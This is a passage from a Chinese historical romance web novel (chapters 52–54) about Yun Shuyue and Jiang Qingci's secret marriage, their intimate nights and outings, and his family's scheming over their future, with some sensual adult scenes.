他端在腹前的手,忽然怕攀上来一只软软的手,她拉着他往身前带。 “夫君,这肚兜我老穿不好,不如你替我调整调整。” “夫君说得对,好像是买小了,有些合不拢。” 她状若无意地摆弄腰间的系带:“这,这要怎么系呢,要不,要不先不穿这个了吧,我先穿别的。” 她刚把江清辞的手覆过来,又扒掉了身上的衣物,把被子一掀,两条腿一缩,像条小蛇一样,一下钻进了被子里。 露出一颗头在外面:“哎呀,好害羞呀。” 江清辞手上只剩刚刚那一刹那的残存触感,软弹绵润,滑腻如脂,从他手上划走时,还“波楞”着跳动了一下。 “云舒月,快到午时了。” 还不起床吗? 不一会儿,他那穿的板正无一丝褶皱的锦袍,腰带散开,衣领全都凌乱地敞开着,紧紧束着腰的丝绦两端如灵蛇般滑落,他用力一扯,露出胸膛与腹肌。 “不起床便不起床吧,今日我便跟夫人在床上耗着,待一整天又何妨。” 他百忙之中抽出一只手,“擦啦”一声将床帐子拉拢,将亮堂白光与清冷寒气全都隔绝在外。 只剩帐内升腾旖旎,他的手指轻轻划过她的脸颊,从额头到下巴,动作轻柔得仿佛在触碰一件稀释珍宝。 他的吻落得密密麻麻,沿着她的眉眼、鼻尖,一路向下,起初只是蜻蜓点水般的轻触,随后逐渐加深加重。 食髓知味后,他亲吻的节奏变得愈发急切,喘哼也一声不减,越喘越重。 舌尖一边探入,一只手从她腰间缓缓上移,轻轻抚上她的肩头,继而沿着她的脖颈蜿蜒而上,托住她的后脑,将她的头微微抬起,以便更深入地亲吻,云舒月感觉自己口腔内的空间几乎全被他扫荡占据,霸道得不行,叫她连喘息的空间也没有。 另一只手则顺着她的腰线一路下滑,停留在她的大腿外侧,手指轻轻摩挲,仿佛要将她的每一寸肌肤都铭记于心。 他的呼吸愈发沉重,炽热的气息喷洒在她脸上,偶尔松开唇看她一眼,眼神中满是迷离与沉醉,仿佛整个世界只剩下怀中的她,再难自拔。 拔不了一点。 云舒月一只脚又悄然探出帐幔之外,五个脚指头红彤彤、圆润润的,跟着床柱子一起,晃一晃的。 不知过了多久,太阳逐渐西沉,天色慢慢暗下来,暮云四合,天空由浅蓝转为深蓝。 江清辞从床帐内伸出半个身子,点燃了床边的蜡烛,豆大的火苗奋力跳动,将昏黄的光洒向四周。 雕花床榻之上,锦被半掩,底下的曲线玲珑,如一朵含苞待放的娇花,一头乌发如瀑般倾泻在枕上,更添几分的妩媚。 肩上红痕遍布,他拉起她,之前找借口穿不上的肚兜,被他拢了拢穿上了。 “也没有那么难穿吧。” 他系上她背后的系带,凑她耳边道:“往后我日日都帮你系。” 他身披玄色大氅,方从屋内踏出,雪已经停了,四周寂静。 门一推开,寒风扑面而来,脚一踏出来,门前雪陷了好深。 江瑾瑜正好路过:“三弟,晚上我父亲那边摆了酒宴,一起过去吃酒。” 风将他的大氅吹得猎猎作响,雪光映照下,宛如一幅绝美的剪影,片刻后,屋内传来轻微的脚步声,他立刻转过身。 狐裘对她来说稍显宽大,更衬得她身形娇小,惹人怜爱,脸颊依旧带着一抹淡淡的红晕。 他拉开门,伸出手,稳稳地牵住她的手。 云舒月走出来,眼珠子转了一大圈,又恢复了机灵的模样。 江瑾瑜退后了两步,一脸震惊:“三弟,你,你屋子里怎么藏了个人。” 云舒月道:“瑾瑜哥哥说什么呢,不认识我了?” “云二姑娘,你怎么在我三弟的屋子里。” 云舒月抽出被江清辞握住的手:“这不是他的屋子,是我的屋子,你应该问,他怎么在我的屋子里。” 江瑾瑜看了这屋子一眼,没错啊,这是三弟的屋子。 云舒月拢住狐裘大氅,率先往前面走去。 江瑾瑜注视了她的背影一会儿,道:“云二还是这般,跟从前一样。” 江清辞手心空了,便蜷起来,收在背后:“她哪般?” “眼睛 长在头顶上看人,也就你受得了她。” 江清辞眉头先是不易察觉地皱了一瞬,随即便舒展开来,恢复了一贯的平和。随后轻启薄唇,不疾不徐地开口:“云二最是知书达理,谁不夸她温婉淑德。” “可她同时又是个极擅变脸的女子,你就不怕,她哪天又变了脸,你的一片痴心又是白付。” 江清辞抬步追上云舒月,步履间尽显矩步方行的清贵,云舒月在他身侧,举止端庄娴雅。 两人站在一块儿,一如既往地相配,怪不得从前是京中人人称道的一对青梅竹马,江瑾瑜默默想着。 江清辞悄然落后她半步,侧头看她,二哥说的话并非刺痛不了他分毫。 但他从不承认月儿就是那样一个人,女子为自己的人生争取,并没有什么错。 他后来才意识到,他喜欢她的,就是这一点,她傲慢又自私的同时,又将自己的外壳塑造得完美。 但除此之外,她还可爱烂漫,古灵精怪,聪慧得能让所有人夸她,从不刻意善良,但绝不是个坏人。 她带给他的好,远比带给他的不好要多得多。 雪后的落日余晖洒落在绵延起伏的山峦上,皑皑白雪闪烁着细碎的光芒,将整个山林装点得如梦似幻。 云舒月心想,江家人隐居可真会挑地方,要是她,也愿意放弃京城里的生活,来这里居住几年呢。 山腰处,一座古朴而精致的院子静静伫立,飞檐拱斗建得精妙绝伦。 还未靠近,府邸内暖黄的烛光已经溢出窗棂。 薛亦秋从厅堂内走出来:“你们几个这么晚才来,老爷子都已经到了。” “母亲,祖父身子可好些了?” “今日好多了。” 薛亦秋伸手揽住云舒月的肩:“昨日就听他们说你来了,怎么样,昨晚睡得可还习惯?” 她将云舒月拉到炭盆前,许多家庭成员都围在这里。 “一路走过来,冻坏了吧,先把手伸出来烤烤。” 云舒月点点头,将两只手伸到炭盆上方。 “昨晚,睡得还行,多谢伯母关心。” 她甜甜说道,实际上,昨晚过得,有些疯。 她一边面容憨厚地笑着,顺便烤火。 “那就好,若有什么缺的,一定要跟伯母开口,千万别客气。” 云舒月点头:“嗯嗯,谢谢伯母。” 可她看着伯母的笑容,还是能分得清楚几分真情,几分假意的。 对方不喜欢自己——是她的下意识反应。 不过做人嘛,不必追根究底。 她的笑容与讨好又有几分真呢。 云舒月正要挨着江清辞落座,被薛亦秋拉着,坐到了小姐们这一桌。 “云二,你坐这儿。” 周围的小姐们都穿着颜色鲜亮的袄子,梳着精致的发髻:“舒月姐姐,我们都好久没见过你了,快来。” 家仆穿梭其间,为众人添酒布菜,云舒月挪了挪屁股,身着淡紫色海棠花襦裙,端起酒杯:“蓉姐姐,妙姐姐,婉姐姐,还有琼音妹妹,苒苒妹妹,的确好久不见了,正好值此雪后良辰,愿大家新岁皆如意,福泽满门庭。” 言罢,她仰起头,将杯中酒一饮而尽,动作干脆利落,却又不失优雅。 “云姐姐,你真是风姿不减当年,这杯我也干了。” 云舒月道:“待会儿我在亭中设对弈局,大家都来。” 她就跟以前一样,设局、凑集会,一点不带含糊的。 “好啊好啊,好长时间没对弈过了,你们待会儿要让着我点儿。” 云舒月拿起筷子,垂头轻笑,拿捏她们几个,真是简单得很。 “这个甜皮鸭好吃,云姐姐多吃些。” “嗯嗯。” 江家的长辈们端坐在主位上,江祖父身着素色长衫,面色看起来好了很多。 云舒月悄然打量着他,江祖父看起来精神好多了,那便好。 她心情好,便多饮了几杯酒。 江崇礼一双鹰一般的眼扫视完堂上的晚辈,挨个训了话,声音中气十足。 云舒月越听越畅快,饭吃得越来越香。 江家日益强大才好,这能证明,她自小挑的靠山,挑的踏板,挑得一点错也没有,她是最聪慧的女子。 谁知道江祖父说着说着,话一下子转到她身上来了:“云二是家里的客人,你们都好好照顾着她,让她好好在家里玩儿几天,赶在除夕前,好好将她送回去。” 江清辞从桌前站起身:“祖父,她不是……” “父亲说得是,媳妇一定好好照顾客人。” 薛亦秋打断江清辞,答道。 云舒月左看看,又看看,薛亦秋的手已经稳稳地轻轻掌在她的肩上,带着不容置疑的温度和强硬。 云舒月心中长长叹了一声气,还是做客人好啊。 否则,现在掌在她肩上的那双手,就是她婆母的手了,没有温度,只有强硬。 做客人好,大家都让着她,照顾她,她晚上再偷偷钻到江清辞房里去,在没被人发现之前,她就是什么义务也不用担的江家客人,在被人发现了以后,她与江清辞也有能兜底的一纸婚书,没有比此时更好的状况了。 进可攻,退可守,好极了。 至于夜晚以及白日里没忍住做的那些事情,云舒月摸了摸肚子,心中也有成算。 在江家启程回京前,看来她要时常备着避子药了,不过此事她不能让江清辞知道,江清辞必不会同意的。 揣崽对她必是有好处的,但什么时候好处的效果最大,她还要再琢磨琢磨。 庭院中的树木,原本在微风中沙沙作响,此刻枝叶不再摇曳,投下一片片浓重黑影。 云舒月与姐姐妹妹们从亭子里出来,挨个道完别。 “云姐姐棋艺大有长进,若是回了京中,必定又能打了好些人的脸。” 此话一出,江玉苒连忙捂住唇,与旁边的人对视一眼,颇有些尴尬。 云舒月察觉到她的尴尬,心里挺不舒服的,都认为她一辈子要待在这儿了吗。 随着夜幕愈发深沉,江清辞刚从祖父的书房里出来,面色沉重。 “月儿,你这里结束了吗?” 云舒月点头:“嗯。” 江清辞朝她伸出手:“那我们回去吧。” “三哥,二伯母说,要舒月妹妹今晚住我院子里。”江妙雪连忙道。 江清辞迟疑着,云舒月手从他手里挣出来:“对,伯母是这样安排的。” 他收回手,极轻地颔首:“好,你们早些睡。” 他转身离去,不知怎的,云舒月觉得他好像有些孤单。 她跟着江妙雪,还有其他姐姐妹妹们,一起往另一个方向走。 “听说,咱们府后面山林里的溪边,有一种只在夜里开的花,名叫雪昙花。” 江清辞独自躺在床榻上,身下的床单是皱的,还未叫人前来收拾,污渍都已干涸,他无奈起身,准备收拾好了再睡下。 这一收拾起来,便忍不住抓起来闻了又闻,是香的,馥郁幽沉。 他撩开帐幔,屋外忽地跑进来一人。 第52章 第52章世间万物,皆为你所用…… 楠木制成的床榻前,他身着一件月白色寝衣,修长的手指正有条不紊地整理着衾被,动作优雅而娴熟。 往常他房里的起居都是他自己打理,小厮只时而用来研墨、跑腿。 他从柜子里拿出新的绣被,被他轻轻抖开,平整地铺开来。 就在此时,门被“吱呀”一声推开,还未等他反应过来,她已几步奔到床边,“扑通”一声,径直躺倒在他刚刚整理好的床榻之上。 他微微一愣,手中的动作顿住,抬眸望向她:“起来,还没铺好。” 云舒月倒在床上滚了两圈:“反正都要睡乱的,何必非要铺好。” 正在铺平床角褶皱的江清辞手一顿,她这是哪儿来的歪门邪道,云舒月外表看上去知书达理,果真都是花架子。 “床榻乱糟糟的,像什么样子。” 他耐心把她滚乱的地方又铺平。 云舒月仰躺着看他,看他忙来忙去,一定要将所有东西铺平整齐。 两只枕头一定要排排对齐, 床单定要没有一丝褶皱。 忽然就有一种极强的冲动——她想打乱他的一切。 就像是,见他衣裳穿得太过板正时,她就想给他脱了。 实际上,他把衣裳全都解开,然后将她的腿盘在他跨上的样子,很是迷人。 云舒月不愿让自己落于被动,除了那时。 想到这儿,她又滚了两圈,双臂缠到他腰上,露出一个娇媚的笑。 江清辞的动作彻底顿住:“你,现在想啊。” 倒也不是不行吧,大不了待会儿再换一套床单被褥。 这般想着,他呼吸渐沉,缓缓凑近她。 云舒月道:“听她们说后山上有雪昙花,你带我去看。” 江清辞的吻刚落到她耳侧:“你过来找我,就为了这个?” “嗯嗯。” 他站直了身,手摸了摸她的头,刚刚还次渐变得幽深的眼眸,随即化为一抹无奈与宠溺。 “穿厚点,咱们走吧。” 云舒月眼睛一亮:“真的可以!” 妙姐姐说,家中长辈不让他们去后山,尤其是晚上,很危险。 江清辞却没太在意,说带她去,就带她去了。 他手上拎着灯,从府邸里出来,一踏入这冬日夜晚的山林,若没有灯,还真是一望无际的黑。 待适应了一会儿过后,自云层中倾洒而下的月光给连绵山峦披上了一层清冷光辉。 雪后的山峦,线条柔和而静谧,云舒月揉了揉眼,穷尽目力去看,峰岭连绵起伏,心中惊叹不已。 江清辞揽过她的肩,踏在一条向上蜿蜒的小路上:“往这边走。” 山林间,树木皆被冰雪包裹,树枝上的冰棱时而相互碰撞,发出脆响。 江清辞举起灯笼,叫她凑近去看。 云舒月从没见过这般景象,心跳扑通作响,眼睛眨也不眨。 一路走到一处向月的山坳里,几株雪昙正悄然绽放。 他们在一条溪边停下脚步,溪水并未完全冻结,仍有潺潺的水流声在夜色中传来。 他感知到她的兴奋,便托着她的手,往溪边凑近了些。 “你看,水面上弥漫着一层薄薄的雾气。”如梦如幻,像仙境一般。 云舒月脚步往溪边踏了一些,果真如此,溪边的岩石上,也凝结着层层冰霜,在月光下闪烁着幽冷的光。 也因此,脚下很滑。 江清辞要她靠近,是冒了险的。 “小心些,仔细看。” 云舒月被他拢在怀里,二人蹲在一颗岩石上,万籁俱静,除了情人的心跳。 扑通~扑通~ “你看那儿,那朵花要开了。” 云舒月眼睛眨也不眨,心跳得砰砰快。 她的目光紧紧锁住那朵即将绽放的雪昙,眼中满是期待。 随着时间缓缓流逝,谁也没出声,那朵纤细的花瓣开始轻轻舒展,一点点挣脱束缚,似在与这严寒的冬夜进行一场温柔的对抗。 花瓣的每一次舒展,都带着意思不易察觉的颤抖,像是在积蓄力量,要将生命的绚烂毫无保留地展现。 他拥着她,二人的呼吸是一片白雾,温热气息氤氲出一片朦胧。 他微微低下头,将下巴搁在她头顶。 “真是没想到,在这里还能看到这般景象,好美啊。”云舒月缓缓道。 此时,山林间的风声似乎停下来了,偶尔碰撞作响的冰棱也一动不动。 云舒月忍不住伸出手,江清辞拎住她后领:“小心掉下去。” 那是一种清冷又炽热的美,江清辞握住她的手,带着她的指尖轻轻掠过雪昙的花瓣,那细腻的触感,如同轻拂过绸缎,却又带着生命的温度。 他的掌心宽厚而温热,那股暖意顺着指尖迅速蔓延至全身,当他带着自己的指尖轻轻掠过雪昙花瓣时,她的视线却不自觉地落在了他那骨节分明的手上。 她微微侧头,目光悄悄落在他的侧脸上,平时清冷的眉眼此刻被月色和雪光柔滑。 她一时之间,竟不知自己扑通跳着的心是为了雪昙还是他。 她清晰感知到自己的心跳,那律动急促而热烈,仿若春日里破土而出的新芽,带着蓬勃的生机。 生来头一回。 周遭世界如梦似幻,更是她从未见过的,在这天地间,她与万物共振,既为他,也为所有。 她猛地转过头,平复思绪,她第一次怀疑起,自己自出生起所追求的。 她竟然觉得,得了太后一句“云家二女为京中众女之首”的夸赞,不如在这山间,与他一同看雪昙绽放。 人这一生,到底该追求什么呢? “江清辞,我们回去吧。” 江清辞垂头看她:“看累了?是不是冷了?” 云舒月道:“已经看完了,好像,也没什么好看的,也就是一朵花开了而已。” 江清辞站起身,将她扶起来:“你若还想看,明日再来便是。” 云舒月侧开头,没看他,也没对上他的视线:“我们回去吧。” “好。” 他将她裹在貂裘里,对她道:“世间万物,皆为你所用,月儿,你从小便是这样。” 云舒月愣了愣:“你,你都知道。” 江清辞颔首,云舒月如何,他大抵是知道的。 也因此,他不是像二哥说的那样,在赌对她好能不能迎来有回报的那一天。 他赌的是,自己能否永远为她所用,叫她心甘情愿地与他在一起。 他自认有几分才能,皇上倚仗祖父,将来太子也会倚仗他。 他暂且,还不会被她再次撇清关系。 “我知道啊,你要万物皆为你所用,那么刚刚的雪昙,可带给你了片刻欢愉?” 云舒月缓缓点头:“有,有的。” “那便好,那今日总算没有白来。” 他牵着她往回走,她心想,太后的夸赞,与亲眼见到这深山雪林里的景象,并非一定要二选一,她全都要。 到黔州来这一遭,并非全是坏处,她定要好好体会这一程。 还有,还有刚刚突然为他而出现的心跳。 她心软了软,腰椎一片酥麻,往江清辞身上倒去。 “清辞哥哥,谢谢你。” “谢我什么?” “谢你……”她也不知道,她微微仰头,在他看不见的地方,她看着他的眼眸中浮现了一丝眷恋。 她的视线落到他的手上,与她紧紧相握的手。 她忍不住轻轻摩挲他的手指,心中涌动着难以言喻的情愫。 “谢谢你让我快乐。” 江清辞嘴角上扬,露出一抹宠溺的微笑:“是我的荣幸。” 她的嘴很甜,许是正因如此,她提的所有要求,他都无有不应。 回了府邸,还未靠近房门,云舒月将江清辞抵在门框上,门框哐哐作响。 她搂住他的脖子,踮脚吻了上去。 江清辞被这突如其来的热情冲击得有些恍惚,身体本能地紧绷,双手下意识扶住她的腰肢。 云舒月的吻热烈而急切,在他一动未动之时,她吮吸着他的嘴唇,尽力汲取所有滋味。 他的唇形很好看,下唇饱满,泛着淡淡的绯色,上唇微微上扬,唇峰清晰而利落,这双唇,在月光的轻抚下,仿佛散发着一种蛊惑人心的魅力,云舒月心中的渴望愈发浓烈。 他不得已退后了两步,感知到她的喘息和热烈。 他很快回过神来,但这一次,他并不打算用力回抱她。 他睁开了眼,看着她泛红的脸颊,还有那紧闭的双眼,全身心投入的模样。 他故意放缓动作,双手依旧轻轻搭在她的腰肢上,拇指在她腰间的软肉上缓缓摩挲,似在安抚,又似在逗弄。 云舒月并未察觉到他的刻意,她吻得入神,唇舌间满是勾缠与眷恋,双手从他的脖子滑落到他的肩头,用力地抓着。 江清辞眉眼温柔且平和,他注视着她的一举一动,她的每一次吮吸。 他看着她长而卷翘的睫毛在脸颊上投下淡淡的阴影,随着她的动作微微颤动,仿佛是一对风中轻舞的蝶。 他看着她微微泛红的脸颊,娇艳欲滴,沉浸在自己的世界里。 她丝毫未能察觉他炽热的目光,她的唇不断地摩挲着他的,舌尖轻轻卷过他的唇角,试图探寻更多属于他的气息。 他听见她愈发急促的呼吸,喷洒在他的脸上,她的腰越来越软,快要化在他的掌心里。 他的心被她搅得语法混乱,爱意如潮水般在心底翻涌。 他微微张开唇,轻声呢喃着她的名字:“月儿……”声音轻柔得如同春日里的微风。 云舒月睁开眼,看了他一眼,眼 底满是雾气。 随后又闭上眼,要再次吻上去。 她喘着哼着,他得知她的动情。 他微微侧头,避开她急切的唇,转而在她的脸颊上轻轻落下一个个细碎的吻,从她的眼角,到脸颊,再到下巴,他的吻轻柔而缓慢。 她伸着脖子,时不时地从他的左侧绕到右侧,心里像猫抓一样。 他依次缓慢落完那些细碎的吻,捏住她的下巴,静静审视了她一会儿,眼底欲望愈发炽热。 “月儿,急什么?” 他的唇沿着她的下巴一路轻移,云舒月不断扭动脖颈试图捕捉他的双唇时,她深吸一口气,仿佛在激励压抑心中情感,可紧紧一瞬,他捏住她的下巴,唇重重地压了上去。 他的舌尖撬开她的贝齿,云舒月的舌尖节节败退,他翻过身,将她压在门框上。 云舒月轻哼一声,双手紧紧抱住他的脖子,手指用力揪着他的发丝,想要将他拉得更近,再近一些。 她的腰肢愈发柔软。 他的呼吸变得凌乱和急促,时不时从鼻腔中发出细微的哼声。 江清辞的双手顺着她的脊背缓缓下滑,最后紧紧扣住她的腰。 力道很大,云舒月感觉腰快要被折断了一般。 他吻得很用力。 她的腰实在是细得很,对他而言,保持礼貌比尽兴重要,还是应当时时照顾着她的感受,昨晚尚且清醒得时候吗,总要收着些力。 总而言之,昨日大抵是不太尽兴的。 他把住她的腰,将她往自己身上带,仿佛要将她揉进自己的身体里,他的吻从她的唇移到她的脖颈,一路向下,留下一个个带着炽热温度的印记。 云舒月仰起头,将脖颈完全暴露在他面前,腰肢轻颤。 府中的风愈发喧嚣,吹得四周的树枝沙沙作响,也无法掩盖两人热烈的喘息与心跳声。 江清辞伸手推开云舒月身后的房门,他一边喘息着,一边从她脖颈间抬起头,嘴唇边上留有一丝湿痕,他哑声道:“外面风大,先进去。” 云舒月还未反应过来,他说罢,微微弯腰,长臂一伸,稳稳地将她横抱起来。 他的动作一气呵成,云舒月轻呼一声,牢牢搂紧了她的脖子。 踏入屋内,江清辞并未急着放下她,他的目光温柔又带有极强的掌控力,紧紧锁住她的双眼,似乎在透过这双眼探寻她的灵魂深处。 第53章 第53章“云二是个好孩子,就是…… 屋内烛光摇曳,映照着他棱角分明的脸庞,薄唇微微上扬,极为惑人。 “月儿,缓些吧,缓些好不好?”他的声音也总带有一丝蛊惑人心的意味,叫人不得不平静下来。 她今日好急。 他一边说着,一边抱着她缓缓走向床边,云舒月看着他的鼻梁在光影下勾勒出的深邃轮廓,也没再动作了。 手搂着他的脖子,头往他胸口里埋了埋。 他的每一步都踏得沉稳有力,走到床边,他微微俯身,将她轻轻放在床榻上。 随后,他直起身,双手缓缓解开自己外袍的系带。 眼神始终没有离开云舒月,眼中的柔情与欲望交织。 云舒月心跳愈发急促,但乖乖躺着,并无动作。 外袍滑落,又解开里衣,露出他健硕的胸膛,屋内烛光洒在他身上,映出肌肤下若隐若现的肌肉线条。 他再次俯身,双手撑在云舒月身体两侧,将她彻底笼罩在自己的气息和体温之下。 云舒月眼眶微微湿润,江清辞伸手抽开她衣襟上的系带。 动作看似轻柔,却做得极快,三两下,云舒月上衣都被剥开了。 剩下那件他早晨亲自穿上的。 他缓缓低下头,双唇轻轻触碰她的额头,随后沿着眉骨、眼睑,一路落下细碎的吻,动作落得缓和轻柔,双唇轻颤。 云舒月轻喘着,双手不自觉地抓紧他的手臂,指甲几乎陷入他的肌肤。 他身上的温度几乎要将她点燃。 他起身了一些,撑在她身侧,伸手撩开她的发,温柔道:“别急。” 江清辞的吻继续向下,落在她的脸颊,他微微侧头,用鼻尖轻轻蹭着她的脸颊,耳后含住她的耳垂,轻轻吮吸,云舒月忍不住发出一声低吟,身体微微弓起,似要贴近他。 他的双手顺着她的肩头缓缓下滑,安抚似的压下她,在她手臂上轻轻摩挲,却留下一片滚烫。 空气逐渐黏稠,云舒月扭着腰肢,烛光摇曳得愈发厉害,将两人交织的身影投射在墙壁上,影影绰绰。 云舒月从来都不是会忍耐的人,手臂却被江清辞按着,动弹不得。 她的衣领全都敞开,露出一些雪白肌肤,她难得地有些不自在,挣扎着,想把手收回来拢住自己。 江清辞按住她手臂,并不让她收回手,他目光缓缓移动,视线隐晦。 不一会儿,他伸手将她的衣襟往两旁拨了拨,他的目光落在上面,视线清晰了一些,眼中情绪愈盛,但他依旧克制着,只将手抚在她肩头。 云舒月咬着下唇,眼中氤氲着雾气,快要哭出来,脸颊红得似要滴出血。 江清辞瞧着她这般模样,何曾见过她如此。 他俯身,滚烫的唇再次落在她的脖颈处,轻轻啃噬着,留下一个个若有若无的印记。 云舒月呼吸愈发急促,两只手从他手下终于挣脱出来,她抱住他的头。 她扭动腰肢,往上躺了些。 江清辞的头极轻易地随她摆动了,从她脖颈间挪移。 他的吻从她脖颈移至锁骨,一路向下,云舒月紧闭双眼。 于此同时,他的手缓缓探向她的腰间,手指轻轻解开了她腰间的丝带,动作一边轻柔,一边带着不容抗拒的意味。 丝带尽数解开,江清辞又起身直起上半身,目光在她身上游移,眼中情感愈发强烈。 他坐起身看了她许久,从脸蛋看到腰肢,从发丝看到肩颈,看到那些新的旧的红印。 云舒月伸手拉他,他的喉结上下滚动。 如决堤洪水般,再也无法遏制。 云舒月不喜欢不受自己掌控的感觉,她想要他,便是完完全全的,便是一鼓作气速战速决的,她不喜欢他这样缓缓的、慢慢的,将她浑身都撩拨得酥麻,却无法尽兴的感觉,令她不爽。 她忽地翻身,按住他肩膀往下,要将他按在身下。 江清辞难得的没有阻止,随她一推,便倒下了。 她坐在他身上,面上露出得意的神情。 江清辞仰头看她,眼神迷离,嘴角微微上扬。 云舒月双手撑在他胸膛上,微微俯身,发丝如瀑布般垂落,轻轻扫过他的脸颊,带来一阵痒痒的触感。 “你别动了,你真的讨厌。”声音有些霸道。 她手在他胸膛上游走,低下头重重吻在他唇上。 江清辞双手下意识环上她的腰肢,他配合着她的动作,时而加深这个吻,时而轻轻吮吸着她的下唇,云舒月的双手从他胸膛上缓缓上移,攀附上他的脖颈,手指轻轻摩挲着他的后颈。 她的呼吸愈发急促,离开他的唇,沿着他的下巴、脖颈一路吻下去,留下一连串湿痕。 江清辞微微仰头,喉间发出一声低低的闷哼。 在那一瞬间,他双手猛地用力,紧紧扣住她的腰肢,一个翻身,云舒月轻呼一声,重新被他压在身下。 云舒月腿环住他的腰,事情变得不可收拾起来。 过多的前奏让他失了耐心,云舒月的耐心也早已被消磨殆尽。 云舒月双手紧紧抱住他的后辈,指甲几乎陷入他的肌肤。 他的吻一路向下,所到之处,皆是一 片滚烫。 最后总在再回到她的唇上,含住她的唇哑声道:“月儿,现在你满意了吗?” 云舒月没法回答他,只有喉间溢出的细碎嘤咛。 她不是不想翻身做主,但他的臂膀开始毫不留余力的挟制她,一会儿掌着她的手臂,一会儿掌着她的腰。 她没精力再跟他闹更多的事情出来,除了由他摆弄以外,身体酸软得再也做不了其他。 最后在他怀里沉沉睡去。 云舒月做了一个很美好的梦,她梦到她如愿与他一起回京城了,她父亲也官复原职,哥哥中了举人,母亲给哥哥说了门亲事,她有了名门出身的嫂嫂,然后哥哥又中了进士,她便有了叫她姑姑的小侄儿。 江清辞如她所愿的做了首辅,而她成了首辅夫人,受尽众女艳羡,她还生了一儿一女,成为了江家最受人尊敬的主母。 她每日出入于皇宫、皇家园林,不是与公主贵胄们一起喝茶,便是组织众女一起赏花,这样的日子,过下去永远也不会厌烦,因为追捧她、奉承她的人会如同过江之鲫,一波又一波地出现在她面前。 可惜梦终归是梦,在她的梦里,江清辞是镶边的角色,醒来时,江清辞却将她牢牢抱着,她动弹不得。 屋外天光大亮,刺痛了她的眼,她恍然发觉,她的梦好假。 比起父亲官复原职,更不可能的是哥哥中举后又中了进士。 “醒了?刚刚江妙雪来找过你。” 云舒月瞬间清醒:“然后呢?” 江清辞道:“我跟她说了你不在我这里。” 云舒月愣愣地:“那我在哪里?” 江清辞耸耸肩:“不知道,可能跑到哪儿玩儿去了吧。” 云舒月艰难地翻了个身,腰疼。 江清辞昨晚快将她的腰给折断了。 他的手掌覆上来,掌在她腰上,轻声道:“月儿辛苦。” 云舒月头埋在枕头里,她喜欢与他这样亲近,但她没想过,在极度渴望将对方融入自己骨血的时候,她会产生一种极强烈的情感。 她转过身,看着江清辞,她对他从来都是有目的的,在那些计算之外,她也看上了他的皮相和才华。 接下来的几日,云舒月流连在江家长辈中间,她一直轻声细语说着些好听的客套话,时间久了,江家人对她大抵是有改观的。 “云二是个好孩子,就是可惜了。” 薛亦秋对着丈夫如此说道。 老爷子江崇礼道:“没什么好可惜的,各人有各命,她回去之前,你还是给她多装些东西。” 薛亦秋回头颔首:“儿媳知道。” 再怎么说也是从小看到大的晚辈,云二又生得冰雪聪明,谁会不喜欢她呢。 除夕前的最后两日,薛亦秋打理起要送客人回去的行李来。 往云舒月的马车上堆了很多东西。 江清辞跟着清点安顿:“给云家伯父伯母备些年礼。” 薛亦秋阻止道:“给云二备些吃的用的也就罢了,给他们做什么。” 云家终究是罪臣,与江家是泾渭分明的两家人,薛亦秋想划清楚这份关系。 江清辞也不强求,自己备些礼送过去也就罢了。 薛亦秋又道:“这次就不用你送了,也避避嫌,叫你小伯送。” 江清辞心里不愿:“小伯刚新婚之喜,哪能走开。” “没有你小伯,还有你三伯、四伯,实在不行,你大哥、二哥也行,总之,你不行。” 避什么嫌,江清辞昨晚还将云二剥光了翻来覆去的瞅呢,云二屁股上现在还有个牙印呢。 在一个天还未亮的清晨,云舒月被江嘉懿架着马车,送上了回牢城营的路。 江清辞跟在后面望了许久,直到车轮滚起的烟尘都消失不见了,才收回眼。 “祖父,孙儿有一愿。”云舒月一走,他来到祖父书房,有些事情拖不得了。 他知道云舒月为什么要保密婚事,因为在她心里,那从不是真正的成婚,她还需要一些其他的东西,她要他家求着娶回她,而不是仅仅认可一门生米煮成熟饭的婚事。 云舒月向来是这么高傲的一个人,哪怕她落魄至此。 江崇礼斜晲了江清辞一眼,他刚来黔州时,很是水土不服了一阵,毕竟年纪大了,最近才缓过来。 但他也不是没想过,自己要是没缓过来怎么办?没有了他,较之他那个终日醉心文学造诣的二子,孙子江清辞就是当之无愧的下一任家主。 可惜这个下一任家主,在皇上面前还没有什么话语权。 他若是没能撑到三年之期满时回京,江清辞能否带着这一大家子回京,还是个问题。 皇上表面上要清除世家势力,实际上最难清除也是盘踞最深的就是江家,江家不走,皇上便拿其他世家毫无办法。 皇上只好私下先与江家站在一头,哄着他们作势先走,其余世家自然两股战战,为了避**放的结局,自然要献出不少势力来,皇上这一回,怕是赚得个盆满钵满了。 江崇礼道:“你想求我什么?” 不用江清辞说,他也知道,孙子从没要求过家里什么,一次二次的,不都为了云二吗。 江崇礼心里揣着个好主意,自可叫两人自己放弃,到时候江三必定也无话可说。 江清辞伸手替祖父研墨,一边道:“祖父,孙儿牢记您的教诲,辅佐皇帝,洞察天下局势,从民生疾苦到边疆安稳皆要为君考虑周全,进良言、献良策,毕生不可有丝毫懈怠,与此同时,孙儿只愿有一佳人相伴而已。”声音从气势十足到温柔缓和。 祖父也是做大事的人,何必在一个女人身上介意犹疑,谁做他的妻子,在家国大事面前,是最不值得计较的事情了。 江崇礼冷哼一声,自己这个孙子,是会谈判的,三言两语,竟让他觉得,在江家未来主母一事上,就遂了他的愿,又有什么大不了的。 可江崇礼不是自负到极点的男人,他深知一个女人对于家族的重要性,有时候比男子还要重要得多。 任男子如何豪言壮志,娶妻不贤,就能将他的抱负毁得一干二净。 他可不想到了百年后,江家后辈,全都被教养得自私自利,薄情寡义。 “好啊,待我们江家回京之时,老夫替你正式往她家下聘,回了京,老夫再亲自为你们二人主持盛大的婚礼。” 江崇礼抚着胡子缓缓说道。 江清辞听闻祖父此言,平日里沉稳内敛的面庞上,也出现了按捺不住的欣喜,祖父一言既出,便是君子之约,他可以不信任何人,但不会不信祖父。 他激动地上前一步,紧紧握住祖父的手:“祖父,多谢。” 第54章 第54章云家人又攀上高枝 江崇礼抚着胡须笑,江三还真是不见黄河不死心。 那云二能背弃他一次,自然就能背弃他第二次,江山易改,本性难移,追求更好的生活是人的本能,求权势的女子本身并没有错,但为了向上爬,玩弄别人的感情就不对了。 说来说去都是感情两个字,他这次定要叫江三亲眼看看,他收到的感情是个什么东西。 云舒月回到家的时候,家里人刚扛着锄头从地上回来。 “有好多地需要翻,翻好了开春便要播种。” “咦,云二回来了。” 江嘉懿帮着从马车上往下搬东西。 薛亦秋虽嘴上说跟云家人没什么关系,随便备点给孩子的东西就行了。 但江嘉懿还是从马车上搬下来半扇猪,两筐鱼,各种水果干果和糕 点。 光是鲜艳的裁制新衣用的布料,都有十匹,够云舒月一个人穿一年的,但家里人多,也够每人做一套新衣裳。 